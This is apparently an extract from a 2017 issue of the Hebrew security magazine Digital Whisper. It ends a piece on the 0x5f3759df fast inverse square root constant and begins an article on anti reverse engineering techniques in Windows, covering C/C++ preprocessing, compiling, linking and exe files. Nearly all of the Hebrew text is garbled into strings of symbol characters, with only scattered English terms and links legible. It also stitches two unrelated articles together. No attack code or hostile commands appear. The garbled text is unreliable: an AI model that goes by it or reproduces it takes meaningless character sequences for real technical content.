"˰ˠ˶ Σˢˤ ˪˩ˢ ϦΚ˧˪ˣ˞ ˫˸˞ ˫˧˪˞ˣ˷ Φ˭˩˟ˣ Σ˨˧˶˴ ˶ˣ˩ˤ˪ ˣˮ˥ˮ˞˷ ˫˧˟˷˥ˬ ˸˞ ˫˧˶ˣ˦˵ˣˢ ˣ˪˪ˢ ˶ˣ˟˰ ˶ˣ˲˯ˮ˧˞ 

˸ˣˡˣ˵ˮ ˪˰ ˪˩ ˫˧˥˦˷ˬˢ ˣˮ˟˧˟˯˷ Φ˪˩˩ ˷˧˷ ˶˸ˣ˧ ˫˧˶ˣ˦˵ˣ Σ˨˩ ˶ˣ˞˧˸ˢ ˣˮ˪˷ ˪˷ ˫˧˥˦˷ˬˢ ˢ˞˶ˮ ˶˸ˣ˧ 

˧˦˯˧˪˞˧˶ Φ˭˩˪ ˢ˧˴˵ˮˣ˲ˢ ˣˤˢ ˸˩˪ˣˢ ˞˶˵˧ˢ˪ ˭ˣˬˢ ˫˧ˬ˰˲ Φˢ˩˩ ˵ˣ˧ˡ˟ ˢˤ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞: ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ 

˶˞ˣˣ˴ ˵ˣ˟˵˟ˢ ˞ˣˢ ˵ˣ˧ˡ˟ ˸ˣ˧˴˵ˮˣ˲˟ ˧˩ˢ ˸ˣˮ˦˵ ˸ˣ˦ˣ˷˲ˣ ˫˷ˣ ˫˧˶˟ˣ˷ ˸˞ ˷˞˶ˢ ˪˰ ˸˞˧˴ˬ ˫˧˩˶ˡ ˸ˣ˟ˣ˦ 

˶˸ˣ˧ ˰˴˟˪ ˸˞ ˟ˣ˷˧˥ˢ. 

ˤ˞ ˫˴˰˟ ,ˢˬ ˫˶ˠ ˟ˣ˷˧˥˪ ˸ˣ˧ˢ˪ ˪˩ ˨˩ ˟ˣ˦ Κ˟ˣ˪˧˷ ˪˷ ˧ˮ˷ ˫˧˶˟ˡ Υ˸˧˷˞˶ Σ˭ˣ˦ˣ˧ˮπ˭ˣ˯˲˶ Σ˞˧ˢ˷ ˢ˦˧˷ 

ˢ˟˧ˮˠˬ ˭˲ˣ˞˟ ˧˪˪˩ Τ˸˧ˮ˷ˣ Σ˷ˣˬ˧˷ ύ˧˪˞ˣ˦˲˯ˮˣ˵ ,˪˩˪ ˸ˣ˥˲ˢ ό˰˴ˣ˟˷ ˞˪˪ ˫ˣ˷ ˢ˶ˬˢ ˸˷˶ˣ˲ˬ ˞˪˞ ˦ˣ˷˲ 

˸ˣ˯˥˧˧˸ˢ ˸˴˵ ˢˮˣ˷ ˫˧˦˧˟˪ ˪˷ ˫˧˩˶˰ˢ ˣˮ˪˰˲˷ ˫ˢ˧˪˰ Φˣ˪˞ ˸ˣˮˣ˧˰˶ˢ ˫˧˟˧ˮˠˬˢ ˭˞˩ Φˢˬˣ ˫˰ ˶˲˯ˬˢ 

˧˶ˣ˸˯ˬˢ ?0x5f3759df ˢˬ˪ ˵ˣ˧ˡ˟ ˞ˣˢ ˶˥˟ˮ Κ˫˞ˢ ˷˧ x˪ ˣˤ˧˞ ˢˮˣ˩˸ ˢˬˣ˯˵ ˢ˧˦˰˟˷ ˞ˣˢ ˶˥˟ˮ Κˢ˞˶ˮ˩ 

˞˪˷ ,˪˟˞ xʕ ˶˞˷˧˸ ˸˥˞ ˸ˣˬˣ˪˰˸ˢˬ ˸ˣˮ˦˵ˢ ˪˷ ˧˰ˡˬ ˟˷˥ˬˢ ˫ˠ ˸ˣ˶ˣˡ˪ ˫˧˞˟ˢ. 

 

 

" ˠˣ˪˟˟ ˦˯ˣ˲˩ ˶ˣ˵ˬ˟ ˟˸˩ˮ ˶ˬ˞ˬˢ˵˧ˣˡˬ ˞˪ ˡˣ˰˪ˣ ˫˧˧˶ˣ˵ˬˢ ˫˧˦˯ˣ˲˪ ,'˳˧˟ˣ˶ˡˮ˯˩˪˞ ˧ˡˠ ˶ˣ˦˵ˣˡ ˪˷ "

 :˪ ˯ˮ˩ˢ˪ ˭˸˧ˮ ,˫˧˶˥˞ˣ ˢˤ ˞˷ˣˮ˟ ˫˧˦˯ˣ˲ 

http://www.gadial.net/2017/08/24/0x5f3759df_part_2/ 

http://www.gadial.net/2017/08/22/0x5f3759df_part_1/ 

  

https://github.com/id-Software/Quake-III-Arena/blob/master/code/game/q_math.c
https://github.com/id-Software/Quake-III-Arena/blob/master/code/game/q_math.c
http://www.gadial.net/
http://www.gadial.net/2017/08/24/0x5f3759df_part_2/
http://www.gadial.net/2017/08/22/0x5f3759df_part_1/
http://www.gadial.net/wp-content/uploads/2017/08/code2.png
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Anti Reverse Engineering  ˸˟˧˟˯˟Windows 

 ˸˞ˬˡˡ˥ ˶ˬˣ˸ 

 

˵ˢˢˬˡ 

Reverse Engineering  ˢ˩ˣ˲ˢ ˢ˶ˣ˴˟ ˫˧˶˟ˡ ˪˷ ˢ˪ˣ˰˲ˢ ˭˲ˣ˞ ˸ˮ˟ˢ ˪˷ ˢ˪ˣ˰˲ˢ ˞˧ˢ ˧˪˪˩ ˭˲ˣ˞˟- 

 ,˸˧˲ˣ˯ˢ ˢˮ˩ˣ˸ˢ ˸˥˧˵˪ ˪˷ ˢ˪ˣ˰˲ˢ ˸˞ˤ ,˧˲˧˴˲˯ ˶˸ˣ˧ ˭˟ˣˬ˟ˣ ˫˧˟˷˥ˬˢ ˫ˣ˥˸˟ .˶ˬˠˣˬˢ ˶˴ˣˬˢˬ

 ˰ˣ˴˧˟Disassembly  ,˧˦ˬˣ˦ˣ˞ ˥ˣ˸˧ˮ ˣˬ˩) ˢ˷ˣ˰ ˢˮ˩ˣ˸ˢ ˢˬ ˭˧˟ˢ˪ ˶ˣˤ˰˪ ˪ˣ˩˧˷ ˧˪˩ ˪˩˟ ˷ˣˬ˧˷ˣ

Debuggers  .(ˢˬˣˡ˩ˣ 

 ˫ˢ˪˷ ˡˣ˵ˢ ˸˞ ˣ˞˶˵˧ ˫˧˶˥˞ ˫˧˷ˮ˞˷ ˫˧˴ˣ˶ ˞˪ ˫˧˟˶ ˫˧˸ˮ˩˸ˬ ˪˟˞- ˞ ˭˧˟ ˸ˣˮˣ˩ˮ ˵ˡˣ˟ ˢˤˢ ˡˣ˵ˢ ˫

 ˸ˣ˵˧ˮ˩˦ ˢ˟˶ˢ˟ ˫˧˷ˬ˸˷ˬ ˫ˢ ˭˩˪ .˧ˮˣˡˤ ˣˢ˷ˬ ˢ˷ˣ˰ ˣ˞ ˫˧˧˶˥˯ˬ ˫˧ˬ˸˧˶ˣˠ˪˞ ˪˪ˣ˩ ,˸ˣ˞ˬ˯˧˯ ˪˷

 ˣˢˤˣ .˶˵ˣ˥ˢ ˸˞ ˪˟˪˟˪ˣ ˢˤˢ ˨˧˪ˢ˸ˢ ˸˞ ˸ˣ˷˵ˢ˪ ˸ˣ˯ˮˬ˷Anti Reverse Engineering. 

˸˴˵ ˪˟˵ˮ˷ ˡˣ˞ˬ ˧ˣ˞˶ ,ˣ˪˞ˢ ˫˧˞˷ˣˮˢ ˧ˮ˷˟ ˧˷˰ˬ ˭˲ˣ˞˟ ˵˯˰˸ˢ˪ ˪˧˥˸ˮ˷ ˧ˮ˲˪ ˪˟˞ .˭˩ ˧ˮ˲˪ ˰˵˶ 

˭ˣ˷˞˶ ˵˪˥ - ˧˦˶ˣ˞˧˸ ˰˵˶ 

˫˧˧˯˧˯˟ ˫˧ˠ˷ˣˬˣ ˢˬˡ˵ˢ 

 ˸ˣ˲˷˟ ˸ˣ˟˸˩ˮ˷ ˸ˣ˧ˮ˩˸C x-C++ ˪ ˸ˣ˶˧˷˧ ˸ˣ˪˲ˬ˵˸ˬˢˮˣ˩ˬ ˸˲˷ -  ˢ˸ˣ˞˷ ˶˸ˣ˧˟ ˸˧˯˧˯˟ˢ ˢ˲˷ˢ

 ˧˶˥˞ ˸˥˞ ˸ˣ˰˴ˣ˟ˬ˷ ˸ˣ˦ˣ˷˲ ˸ˣ˞˶ˣˢ ˫˧ˠ˴˧˧ˬ˷ ˫˧˦˧˟ ˪˷ ˱˯ˣ˞ ˢ˷˰ˬ˪ ˣˢˤ .˶˧˷˧ ˭˲ˣ˞˟ ˰˴˟ˬ ˡ˟˰ˬˢ

 ˟˷˥ˬˢ ˪˰ ˢ˴˶˷ ˢˮ˩ˣ˸ ˪˩ .ˢˬˣˡ˩ˣ ˫˧˦ˣ˷˲ ˫˧˟ˣ˷˧˥ ,˫ˣ˵ˬ˪ ˫ˣ˵ˬˬ ˭ˣ˶˩ˤ ˸ˣ˶˟˰ˢ ,˪˷ˬ˪ .ˢ˧˧ˮ˷ˢ

.ˣˤ˩ ˢ˶ˣ˴˟ ˸˰˴ˣ˟ˬ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ 

˸ˣˮ˩˸ˢ ˸˲˷ ˞˧ˢ ˧˪˟ˬ˯˞ ˸˲˷ ˡ˥˞ ˪˷ ˢˬ˞˸ˢ ˢ˟ ˸ˬ˧˧˵˷ ˭ˣˣ˧˩ˬ ˢˮˣ˩ˬ ˸˲˷˪ ˶˸ˣ˧˟ ˢ˟ˣ˶˵ˢ- ˡ˥˞˪

 .ˢˮˣ˩ˬ ˸˲˷˟ ˸˥˞ ˢ˞˶ˣˢ ˵ˣ˧ˡ˟ ˸ˠ˴˧˧ˬ ˪˪˩ ˨˶ˡ˟ ˧˪˟ˬ˯˞ ˸˲˷˟ ˢ˞˶ˣˢ ˪˩ ,˶ˬˣ˪˩ .ˣˤˢ ˢ˲˷˪

 ˢ˞˶ˣˢˢ ,ˢˬˠˣˡ˪inc eax ) ˦˧˧˟˪ ˸ˬˠ˶ˣ˸ˬByte ˢ˶ˣ˦˵˦˧˩˶˞˟ ˵ˣ˧ˡ˟ ˡ˥˞ (x86 :0x40  ˣ˞)(1000000  .

ˢ ˪˷ ˪ˡˣˠˢ˷ ˫ˠ ˭˧˧˴˪ ˷˧ .ˢ˞˶ˣˢˢ ˠˣ˯ ˧˲˪ ˢˮ˸˷ˬˣ ˰ˣ˟˵ ˞˪ ˫˧˦˧˧˟˟ ˢ˞˶ˣ 

 ˸˲˷˪ ˢ˪˷ ˶ˣ˥˞˪ ˫ˣˠ˶˸ ˧ˡ˧ ˪˰ ˸˰˴˟ˬ ˞˧ˢ ˢˬ ˸˰ˡ˪ ˡˣ˞ˬ ˪˵ ˢˮˣ˩ˬ ˸˲˷˟ ˸˧ˮ˩˸ ˭˸ˮ˧ˢ˟ ,˭˩˪

 ˸˞˶˵ˮ ˸˞ˤˢ ˢ˪ˣ˰˲ˢ .˧˪˟ˬ˯˞Disassembly  ˞˶˵ˮ ˢ˸ˣ˞ ˰˴˟ˬ˷ ˧˪˩ˣDisassembler . 

  



 
 

Anti Reverse Engineering ˸˟˧˟˯˟ Windows 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ88 , ˶˟ˬ˟ˣˮ2017  52 
 

ˬ ˡˣ˵˩ ˢ˴˶ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˟˷˥ˬˢ ˪˰ ˢ˴˶˷ ˸˧ˮ˩˸ ˪˩ˣ ˶˥˞ˬ ˢˮˣ˩ˬˢ ˡˣ˵˪ ˢ˷˧ˠ ˣˮ˪ ˷˧ ˡˣ˰ ˪˩ ,ˢˮˣ˩

,˪˩ˢ ˧˶˥˞ .ˢ˷ˣ˰ ˸˧ˮ˩˸ˢ ˢˬ ˭˧˟ˢ˪ ˪˩ˣˮ ˢ˪˷ .˶˸ˣ˧ ˫˧˧˦˧˞ ˫˧˟˷˥ˬ ˫ˢ ˫ˡ˞ ˧ˮ˟ 

 

 

 

 

 

]˸˲˷ ˢˮˣ˩ˬ - 10101010101100101[ 

 ˧˷ˬ˸˷ˬ ˶ˣ˸˟Windows  ˪˩ .˫˧˴˧˶ˬ ˣˮ˥ˮ˞˷ ˸ˣˮ˩ˣ˸ˢ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˞ˣ˶˵˪ ˫˧˪ˣ˩˧ ˦˪˥ˢ˟ ˣˮ˥ˮ˞

ˢ ˧˴˟˵˟ ˸ˮ˯˥ˣ˞ˬ ˸˞ˤˢ ˢ˧˴ˬ˶ˣ˲ˮ˧˞ˢ-exe  ˨˷ˬˢ˟ˣ ˫˧˦˶ˡˮ˦˯ˢ ˢ˴˶ˢˢ ˧˴˟ˣ˵˩ ˫˧˷ˬ˷ˬ˷ ˫˧˶˩ˣˬˢ

) ˢˤˢ ˠˣ˯ˢˬ ˫˧˴˟˵ ˨˧˞ ˫ˠ ˢ˞˶ˮPE.˫ˢ˟ ˭˯˥ˣ˞ˬ ˰ˡ˧ˬ ˢˤ˧˞ˣ ˫˧˧ˣˮ˟ ( 

 ˪˰ ˸˴˵C++ x-C 

 ,˰ˣˡ˧˩C++  ˧˪˞ˣ˦˯˵˦ ˠˣ˴˧˧ ˸˶ˤ˰˟ ˸ˮ˩˸ˬˢ ˸ˡˣ˟˰ ˸˞ ˪˵ˢ˪ ˢˡ˰ˣˮ˷ ˸ˣ˟˶ ˧ˮˬ ˸˥˞ ˸˧˪˧˰ ˢ˲˷ ˞˧ˢ

 ˢˮˣ˩ˬ ˸˲˷˟ ˸ˣ˧˯˧˯˟ ˸ˣˡˣ˵˲ ˭˸ˣ˞˪ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˸ˣˬˠ˶ˣ˸ˬ˷ ˸ˣ˪ˣ˰˲ ˪˷ ˥ˣˮˣ- .˫˧ˡ˥˞ˣ ˫˧˯˲˞ 

 ,˸˧˶ˣ˦˯˧ˢC++  ˸˧˶˞˪ˣ˲ˣ˲ˢ ˢ˲˷ˢ ˸˞ ˨˧˷ˬˢ˪ˣ ˶ˣ˲˧˷ ˸ˣˣˢ˪ ˢ˞˟ ˶˷˞ ˸ˣˮ˩˸ ˸˲˷ ˞˧ˢC  ˢ˸˧ˢ˷

˷˞˩ .ˢ˧ˮ˲˪ ˶C++  ˸ˮ˷˟ ,ˢˮˣ˷˞˶˪ ˢˮˮ˩ˣ˸1979 ˫˷˟ ˢ˞˶˵ˮ ˞˧ˢ ,"C With Objects"  ˭˩ˬ ˶˥˞˪ ˵˶ˣ

 ˢ˞˶˵ˮ"C++" ˪˷ ˫˷ˢ ˶ˣ˵ˬ .(ˡˣ˰ˣ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˧˴˵ˮˣ˲ ˭ˣˠ˩) ˫˧˷ˡ˥ ˫˧˟˶ ˫˧˶'˴˧˲ ˢ˪ ˣ˲˯ˣˮ ˶˷˞˩ ,C 

ˢ ˸ˣˮ˷ ˸˪˧˥˸˟ ˢ˥˸ˣ˲ ˶˷˞ ,ˢˬ˴˰-70 ˸ˣˮ˩˸ˢ ˸˲˷ˬ ˞ˣˢ ,B  ˪˷ ˸˶˲ˣ˷ˬ ˢ˯˶ˠ ˢˣˣˢˬ ˞˧ˢ ˱˞˷)

 ˢ˲˷ ˫˷˟ ˸˶˥˞BCPL - Basic Combined Programming Language˷ ˢˡ˟ˣ˰ˢ .(-C++  ˢ˶˴ˣˮ ˢ˷˰ˬ˪

˟ ˧˶˵˧˰ˢ ˷ˣˡ˧˥ˢ ˸˞ ˢ˷˧ˠˡˬ ˞ˣˢˢ ˧ˮˣ˷˞˶ˢ ˫˷˟-C++  ˸ˬˣ˰˪C ˪˷ ˦˲˯ˮˣ˵˟ ˷ˣˬ˧˷ˢ :˫˧ˬ˴˰  ˧ˡ˩

 ˶˸ˣ˧ ˢ˪˵ ˸ˮ˩˸ˬˢ ˸ˡˣ˟˰ ˸˞ ˢ˷ˣ˰ ˫˧˟˶ ˡˣ˰ˣ ˢˤˢ ˷ˣˡ˧˥ˢ .˰ˡ˧ˬ ˪˷ ˫˧˟˩˶ˣˬ ˫˧ˮ˟ˬ ˠ˴˧˧˪-  ˫ˠˣ

.ˢˮˣ˩ˬˢ ˸˲˷ˬ ˶˸ˣ˧ ˢ˵ˣ˥˶ 

]ˡˣ˵ ˶ˣ˵ˬ ˸˲˷˟ C[ 

]˸˲˷ Assembly[ 
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 :ˢˬˠˣˡ˪ 

 ˸˲˷˟C ,String-) ˫˧ˣˣ˸ ˪˷ ˶ˡˠˣˬ ˪ˡˣˠ˟ ˨˶˰ˬ ˦ˣ˷˲ ˫ˢ (˸ˣˤˣ˶˥ˬ) ˫˧char ˫˧˶˧ˡˠˬ ˶˷˞˩ .(String 

 ˸˲˷˟ ˷ˡ˥C ˸ˤˣ˶˥ˬˢ˷ ˨˩˪ ˭ˬ˧˯ˢ ˶˷˞˩ ,˭ˣ˶˩ˤˢ ˨ˣ˸˟ ˢ˶˧˷˧ ˸˧˯˥˧ ˢ˶ˣ˴˟ ˶ˬ˷ˮ ˫˧ˣˣ˸ˢ ˨˶˰ˬ ,

 ˭˩ˣ˸ˢ ˫˰ ˦˧˧˟ ˪˷ ˫ˣ˧˵ˢ ˞ˣˢ ˢˬ˧˧˸˯ˢ00 ) ˱ˣ˯˟Null terminator.( 

 

˸˸ ˶ˣ˴˧˪ ,˸ˣ˶˥˞ ˸ˣˤˣ˶˥ˬ ˨ˣ˸˟ ˸ˣˤˣ˶˥ˬ ˞ˣ˴ˬ˪ ,˸ˣˤˣ˶˥ˬ ˸ˣˣ˷ˢ˪ ˢ˴˶ˮ ˫˞- ˭˸ˣ˞ ˶˯˶˲˪ˣ ˸ˣˤˣ˶˥ˬ

 ˫ˣ˷ˬ ˶˵˧˰˟ ˸˞ˤ .˫˧ˬˡ˵˸ˬ ˫˧˶˟ˡˢ˷ ˪˩˩ ˢ˥ˣˮ ˸ˣ˥˲ˣ ˸ˣ˥˲ ˸ˣ˷˰˧ˢ˪ ˢ˪ˣ˪˰ ˢˡˣ˟˰ˢ ,˫˧˩˶ˡ ˪˪˷˟

.ˣˮˬ˴˰˟ ˸ˣ˪ˣ˰˲ ˢ˟˶ˢ ˸˧˯˥˧ ˷ˬˬ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ 

ˢ ˢ˧˶˲˯ˢ ,˸˞ˤ ˸ˬˣ˰˪ ˪˷ ˸˧˦˶ˡˮ˦˯C++  ˫˰ ˡˣ˟˰˪ ˸˶˷˲˞ˬString- .˫ˬ˴˰ ˧ˮ˲˟ ˫˧˦˵˧˧˟ˣ˞ ˶ˣ˸˟ ˫˧

.ˢ˥ˣˮ ˶˸ˣ˧ ˢ˟˶ˢ ˢˡˣ˟˰ ˶˷˲˞ˬ ˢˤ .ˣ˪˷ˬ ˫˧ˮ˧˧˲˞ˬˣ ˸ˣ˧˴˵ˮˣ˲ ,˪ˡˣˠ ˷˧ ˢˤ˩ ˦˵˧˧˟ˣ˞ ˪˩˪ 

 

 ˪˩ ˦˰ˬ˩ :ˡ˥˞ ˭ˣ˶˵˰ ˸˰ˡ˪ ˟ˣ˷˥ ˸˞ˤ ˸ˣ˶ˬ˪ˣ ,˸ˣ˲˷ˢ ˧˸˷ ˭˧˟ ˫˧˪ˡ˟ˢˢˬ ˭˦˵ ˵˪˥ ˵˶ ˸ˬ˞˟ ˣˢˤ ˨˞

˟ ˟˸˩ˮ˷ ˡˣ˵-C ˪ˣ˩˧  ˪˷ ˶˪˧˧˲ˬˣ˵˟ ˪˲ˬ˵˸ˢ˪C++˷ ˭ˣˣ˧˩ˬ ˸˞ˤˣ ,-C++  ˪˰ ˸˯˯ˣ˟ˬC ˢˮˣ˩˸ˢ ˸ˣ˩ˤ˟ .

 ˡˣ˵ ˟˪˷˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˸˞ˤˢC  ˡˣ˵ ˨ˣ˸˟C++  ˟ˣ˶˵ ˡˣ˟˰˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˶˷˞˩ ˡ˥ˣ˧ˬ˟ˣ) ˫˧˟˶ ˫˧˶˵ˬ˟

.(˭ˣ˶˩ˤ˪ˣ ˢ˶ˬˣ˥˪ ˶˸ˣ˧ 

 

˧˯ˣ˲˧˦ ˪ˣ˲ˬ˧˵ ˨˧˪ˢ˸ 

) ˯ˣˡˮ˧ˣˣ˟ ˢˮˣ˩ˬ ˡˣ˵ ˳˶ ˨˧˞ ˢ˞˶ˮ˷ ˧ˮ˲˪ ˸˶ˣ˴˟.exe ˸˲˷˟ ˧˦˶ˡˮ˦˯ ˡˣ˵ ˡ˴˧˩ ˪˩ ˫ˡˣ˵ ˢ˞˶ˮ ,(C x-++C 

:˫˧˧˶˵˧˰ ˫˧˟˪˷ ˢ˷ˣ˪˷ˬ ˟˩˶ˣˬ ˢˤˢ ˨˧˪ˢ˸ˢ ˪˩ .ˢˮˣ˩ˬ ˸˲˷˪ ˪˲ˬˣ˵ˬ 

1. Pre-processing - ˡˣ˟˧˰ˢ ˫˧ˡ˵ˬˢ 

¶ ˢ ˟˪˷ ˞ˣˢ ˨˧˪ˢ˸˟ ˶˸ˣ˧˟ ˦ˣ˷˲ˢˣ ˧ˮˣ˷˞˶ˢ ˟˪˷ˢ-Preprocessorˢ .-Preprocessor  ˪˰ ˶˟ˣ˰

 ˪˷ ˶ˣ˵ˬˢ ˧˴˟˵ ˪˩.cpp  ˣ˸˟ ˸ˣˮˬˣ˯ˬ˷ ˸ˣˬˡ˵ˣˬ ˸ˣ˞˶ˣˢ ˫˸ˣ˞ ˪˩˟ ˪˲˦ˬˣ# - #define, 

#include ,#ifdef ˢ ˸ˣˡˣ˵˲ ˪˩ ,˪˷ˬ˪ .ˢˬˣˡ˩ˣ-#include ˢ ˧˴˟˵ ˪˷ ˭˩ˣ˸˟ ˸ˣ˲˪˥ˣˬ-h 

˪ ˸ˣ˧ˮ˲ˢˢ ˪˩ˣ ,˫˧ˬ˧˞˸ˬˢ-Macro- ˳˟ˣ˵ ˪˩ ˢˤˢ ˟˪˷ˢ ˪˷ ˣ˲ˣ˯˟ .˫ˢ˪˷ ˨˶˰˟ ˸ˣ˲˪˥ˣˬ ˫˧

C++  ˳˟ˣ˵˪ ˟˥˶ˣˬC++ .ˡˣ˟˧˰˪ ˭˩ˣˬˣ "˶ˣˢ˦" ˪ˣ˩˧˟˩ ˞ˣˢ˷ ˧ˮˬˤ 

 

2. Compiling - ˪ˣ˲ˬ˧˵ˢ ˣˬ˴˰ 

¶ ˢ ˪˷ ˦˪˲ˢ˷ ˶˥˞˪-Preprocessor  ˳˟ˣ˵ ˪˩ ˫ˠ˶˸ˬ ˶˪˧˧˲ˬˣ˵ˢ ,˶˪˧˧˲ˬˣ˵˪ ˶˟˰ˣˬC++  ˧ˮˬˤ

 ˶ˣ˵ˬˢ ˧˴˟˵ ˫˧˟˶ ˫˧˶˪˧˧˲ˬˣ˵˟ .ˡ˶˲ˮ˟ (˸˷˵ˣ˟ˬˢ ˢ˶ˣ˦˵˦˧˩˶˞ˢ ˧˲ ˪˰) ˢˮˣ˩ˬ ˸˲˷˪

 ˸ˬˣ˧˯ ˫˰) ˧˪˟ˬ˯˞ ˧˴˟˵˪ ˢ˪˧˥˸ ˫˧˪˲ˬˣ˵ˬ.s ˸˲˷˪ ˫˧˪˲ˬ˵˸ˬ ˧˪˟ˬ˯˞ˢ ˧˴˟˵ ˨˩ ˶˥˞ ˵˶ˣ (

 ˷ˣˬ˧˷ ˸˶˷˲˞ˬ ˞˧ˢ˷ ˞ˣˢ ˣˤˢ ˢ˦˧˷˟ ˸ˣˮˣ˶˸˧ˢ ˡ˥˞ .(˫˧˶˪˟ˬ˯˞ ˸˶ˤ˰˟) ˢ˶ˣˢ˦ ˢˮˣ˩ˬ

.˷˧ˬˠ ˭˲ˣ˞˟ ˫˧ˮˣ˷ ˫˧˶˪˟ˬ˯˞˟ 
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¶  ˣ˪˞ˢ ˫˧˴˟˵ˢ .ˢˮˣ˩ˬ ˡˣ˵ ˫˧˪˧˩ˬ˷ ˫˧˧˶˞ˮ˧˟ ˫˧˴˟˵ ˢˮˣ˷˞˶˪ ˫˧˶˴ˣˮ ,˫˧˧˯ˬ ˶˪˟ˬ˯˞ˢ˷ ˶˥˞˪

 ˫˧˞˶˵ˮobject files  ˧˪˰˟) ˸ˬˣ˧˯ .o ˢ˴˶ˢˢ ˧˴˟˵ ˪˷ ˢˮ˟ˬ˪ ˡˣ˞ˬ ˢˬˣˡ ˟ˣ˶˪ ˫ˢ˪˷ ˢˮ˟ˬˢˣ (

.˫˧˧˲ˣ˯ˢ 

¶  ˪˟˞-  ˪˩ ˢˤ ˟˪˷ ˱ˣ˯˟object file  ˣ˞ ˫˧˴˟˵ ˪˷ ˫ˬˣ˧˵˪ ˰ˡˣˬ ˞˪ ˞ˣˢ ˶ˬˣ˪˩ ,ˣˬ˴˰ ˧ˮ˲˟ ˡˬˣ˰

ˢ ˧˴˟˵ ˨ˣ˸˟ ˢ˷˰ˬ˪˷ ˨˩˟ ˞˦˟˸ˬ ˢˤ .˸ˣ˶˥˞ ˸ˣ˧˶˲˯-.o  ˫ˣ˷˪ ˸ˣ˪˧˟ˣˬ ˞˪˷ ˸ˣ˧ˮ˲ˢ ˫ˮ˷˧

ˬ˪ ˫˧˯˥˧˧˸ˬ ˫ˢˣ ˶˥˞ˬ ˫ˣ˵ˬ ˧ˮˣ˴˧˥ ˶ˣ˵ˬ˟ ˶ˡˠˣˬ˷ ˣˢ˷- undefined symbols ˪˷ ˡ˧˵˲˸ˢ .

 ˫˸ˣ˞˪ ˠˣ˞ˡ˪ ˶˸˧ˢ ˭˧˟ ˞ˣˢ ˞˟ˢ ˟˪˷ˢundefined symbols .˸ˣˮˣ˩ˮˢ ˸ˣ˧ˮ˲ˢ˟ ˫˸ˣ˞ ˱˧˪˥ˢ˪ˣ 

 

3. Linking - ˡ˥˧˟ ˪˩ˢ ˪˷ ˶ˣ˟˧˥ˢ 

¶ ˢ ˧˴˟˵ ˪˩ ˸˞ ˡˠ˞ˬ˷ ˟˪˷ˢ ˞ˣˢ ˨˧˪ˢ˸˟ ˭ˣ˶˥˞ˢ ˟˪˷ˢ-object files  ˢ˴˶ˢ ˳˟ˣ˵ ˫ˢˬ ˶˴ˣ˧ˣ

 ˧˲ˣ˯ ˡ˥˞ˢ .˭˩ˣˬˣ-Linker  ˨˩ ˢ˪˷ ˭ˣ˶˩˧ˤˢ ˟˥˶ˬ ˸˞ˣ ˭˩ ˢˬ˪˷ˢ ˢˮ˩˸ˢ ˸˞ ˢˮˣ˟ ˢ˷˰ˬ˪

ˢ ,˪˷ˬ˪ .˫˧ˮˣ˷ˢ ˫˧˴˟˵ˢ ˭˧˟ ˶ˣ˷˧˵ ˧ˡ˩ ˨ˣ˸ ˸˧ˮ˩˸ˢ ˪˷ ˢˬ˧˶ˤˢ ˸˞ ˪˧˩˧˷-Linker  ˭˵˸˪ ˟˧˧˥

˟ ˭ˣ˶˩ˤˢ ˸ˣ˟ˣ˸˩ ˸˞-object files .˭ˣ˩ˮˢ ˫ˣ˵ˬ˪ ˣ˰˧˟˴˧˷ ˨˩ 

¶  ˸˧˦˞˦˯ ˢ˧˶˲˯˟ ˸˶ˡˠˣˬ˷ ˢ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˢ˪ ˢ˴˶ˮ ˫˞˪ ˸ˣ˶ˣˢ˪ ˫˧˟˧˧˥ ˢ˧ˢˮ ,˞˧ˢ˷˪˩-

Linker  ˦ˬ˶ˣ˲˟) ˢ˧˧˶˲˯ ˢ˸ˣ˞ ˸˞ ˫ˠ ˶˷˵˪.libˢ ˧˴˟˵˪ ˱˯ˣˮ˟ ,˧˲ˣ˯ˢ ˦˪˲˪ (-.o  .˫˧˪˧ˠ˶ˢ

 ˪˟˵ˮ ˢˤ ˸˞ ˢ˷˰ˮ ˞˪ˣ ˢˡ˧ˬ˟ .˸˰ˢ ˞ˣ˟˟ ˳ˣ˲˵˪ ˭˞˪ ˢ˧ˢ˧ ˞˪ ˦ˣ˷˲ ˸˶˥˞˷ ˞˧ˢ ˨˩˪ ˢ˟˧˯ˢ

 ˸˞˧ˠ˷Linker " ˠˣ˯ˬUndefined Symbol˞ ˫ˠ ˰˧˲ˣˢ˪ ˢ˪ˣ˩˧ ˢ˞˧ˠ˷ ˢ˸ˣ˞ ." ˞ˣ˶˵˪ ˢ˯ˮˮ ˫

.˪˪˩˟ ˢ˶ˡˠˣˢ ˞˪˷ ˢ˧˴˵ˮˣ˲˪ 

¶ ˷ ˭˧˧˴˪ ˷˧-Linker- ˣˬ˩) ˢ˧˶˲˯ ˦ˬ˶ˣ˲˪ ˞˴˧˧˪ ˫ˠ ˫˧˶˷˲˞ˬ ˫˧dll  ˣ˞lib ˢ˴˶ˢ ˧˴˟˵˪ ˱˯ˣˮ˟ (

.˫˧˪˧ˠ˶ 

 ˯ˣˡˮ˧ˣˣ˟ ˧˲ˣ˯ˢ ˦˪˲ˢ ,˫˧˧˸˯ˬ ˨˧˪ˢ˸ˢ ˪˩˷ ˶˥˞˪ˢ˧ˢ˧ ˳˟ˣ˵ .exe x˞ .dll ˭˩ˣˢ˷ ˢ ˧ˡ˧ ˪˰ ˡ˥ˣ˧ˬ˟-Linker 

.˫˧˴˟˵ ˫˸ˣ˞ ˪˷ ˢˮ˟ˬˢ ˣˢˬ ˢ˞˶ˮ ˨˷ˬˢ˟ .˳ˣ˶˪ ˪˧˥˸ˢ˪ ˪ˣ˩˧ˣ 
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) ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩ˤVirtual Memory( 

